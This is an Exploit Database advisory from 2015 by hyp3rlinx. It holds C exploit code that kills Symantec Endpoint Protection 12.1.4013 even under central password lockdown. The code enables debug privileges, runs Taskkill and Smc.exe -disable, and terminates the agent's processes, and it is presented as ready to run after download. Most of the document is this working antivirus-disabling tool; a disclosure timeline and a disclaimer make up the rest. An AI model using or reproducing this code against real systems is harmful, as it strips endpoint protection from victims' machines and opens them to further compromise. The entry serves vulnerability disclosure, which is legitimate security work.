
EXPLOIT
DATABASE

```
# Exploit Title: Antivirus
# Google Dork: intitle: Antivirus
# Date: 2015-07-07
# Exploit Author: John Page ( hyp3rlinx )
# Website: hyp3rlinx.altervista.org
# Vendor Homepage: www.symantec.com
# Software Link: www.symantec.com/endpoint-protection
# Version:12.1.4013
# Tested on: windows 7 SP1
# Category: Antivirus

Vendor:
================================
Symantec ( www.symantec.com )


Product:
================================
Symantec EP 12.1.4013


Advisory Information:
================================================
Disabling Vulnerability


Vulnerability Details:
=====================
Symantec EP agent & services can be rendered useless even after globally
locking
down endpoint protection via a Symantec central management server and
enabling
globally managed password protection controls. Tested successfully on
Windows 7 SP1 result may vary OS to OS.


Exploit code(s):
===============

#include <windows.h>
```

```
#include <Tlhelp32.h>
#define SMC_EXE "Smc.exe"
#define SMC_GUI "SmcGui.exe"
#define CC_SVC_HST "ccSvcHst.exe"

/*
By John Page (hyp3rlinx) - Dec 2014 - hyp3rlinx.altervista.org
Symantec Endpoint Protection version 12.1.4013
First reported to Symantec - Jan 20, 2015

Goal:
Kill Symantec EP agent & services after globally locking down endpoint
protection via the
Symantec central management server and enabling globally managed password
protection controls. Tested successfully on Windows 7 SP1 result may vary
OS to OS.

Scenario:
Run the from browser upon download or save to some directory and run
Not the most elegant code and I don't care...

*/

void el_crookedio_crosso(const char *victimo){
HANDLE hSnapShot=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);
PROCESSENTRY32 pEntry;
pEntry.dwSize=sizeof(pEntry);
BOOL hRes=Process32First(hSnapShot,&pEntry);

while(hRes){
if(strcmp(pEntry.szExeFile,victimo)==0){
HANDLE
hProcess=OpenProcess(PROCESS_TERMINATE,0,(DWORD)pEntry.th32ProcessID);
if (hProcess!=NULL){
TerminateProcess(hProcess,9);
CloseHandle(hProcess);
}
}
hRes=Process32Next(hSnapShot,&pEntry);
}
CloseHandle(hSnapShot);
}
```

```
}

DWORD exeo_de_pid(char *ghostofsin){
DWORD ret=0;
PROCESSENTRY32 pe32={sizeof (PROCESSENTRY32)};
HANDLE hProcSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if (hProcSnap==INVALID_HANDLE_VALUE) return 0;
if (Process32First (hProcSnap,&pe32))
do
if (!strcmp(pe32.szExeFile,ghostofsin)) {
ret=pe32.th32ProcessID;
break;
}
while (Process32Next (hProcSnap,&pe32));
CloseHandle (hProcSnap);
return ret;
}

void angelo_maliciouso(){
int AV=exeo_de_pid(SMC_EXE);
char id[8];
sprintf(id, "%d ", AV);
printf("%s", id);
char cmd[50]="Taskkill /F /PID ";
strcat(cmd, id);
system(cmd);

// system("Taskkill /F /IM Smc.exe"); //Access denied.
system("\"C:\\Program Files (x86)\\Symantec\\Symantec Endpoint
Protection\\Smc.exe\" -disable -ntp");

Sleep(1000);

el_crookedio_crosso(SMC_EXE);
el_crookedio_crosso(SMC_GUI);
el_crookedio_crosso(CC_SVC_HST);

}

int main(void){
```

```
puts("/*-------------------------------------------------------------*/\n");
puts("| EXORCIST DE SYMANTEC Antivirus version 12.1.4013
|\n");
puts("| By hyp3rlinx - Jan 2015
|\n");

puts("/*-------------------------------------------------------------*/\n");

SetDebugPrivileges();
angelo_maliciouso();

Sleep(1000);

el_crookedio_crosso(SMC_EXE);
el_crookedio_crosso(SMC_GUI);
el_crookedio_crosso(CC_SVC_HST);

Sleep(2000);
angelo_maliciouso();

Sleep(6000);

return 0;
}

int SetDebugPrivileges(){
DWORD err=0;
TOKEN_PRIVILEGES Debug_Privileges;
if(!LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&Debug_Privileges.Privileges[0].Luid))return
GetLastError();
HANDLE hToken=0;
if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken)){
err=GetLastError();
if(hToken)CloseHandle(hToken);
return err;
}
Debug_Privileges.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
Debug_Privileges.PrivilegeCount=1;

if(!AdjustTokenPrivileges(hToken,FALSE,&Debug_Privileges,0,NULL,NULL)){
err=GetLastError();
if(hToken)CloseHandle(hToken);
```

```
if(hToken) CloseHandle(hToken);
}
return err;
}
```

Disclosure Timeline:
==========

Vendor Notification: Jan 20, 2015
July 7, 2015 : Public Disclosure

Severity Level:
==========
High

Description:
==========

Request Method(s): [+] Click

Vulnerable Product: [+] Symantec Endpoint Protection version
12.1.4013

Vulnerable Parameter(s): [+] N/A

Affected Area(s): [+] Smc.exe, SmcGui.exe & ccSvcHst.exe

==========

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due

```
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and prohibits any malicious use of all security related
information or exploits by the author or elsewhere.


(hyp3rlinx)
```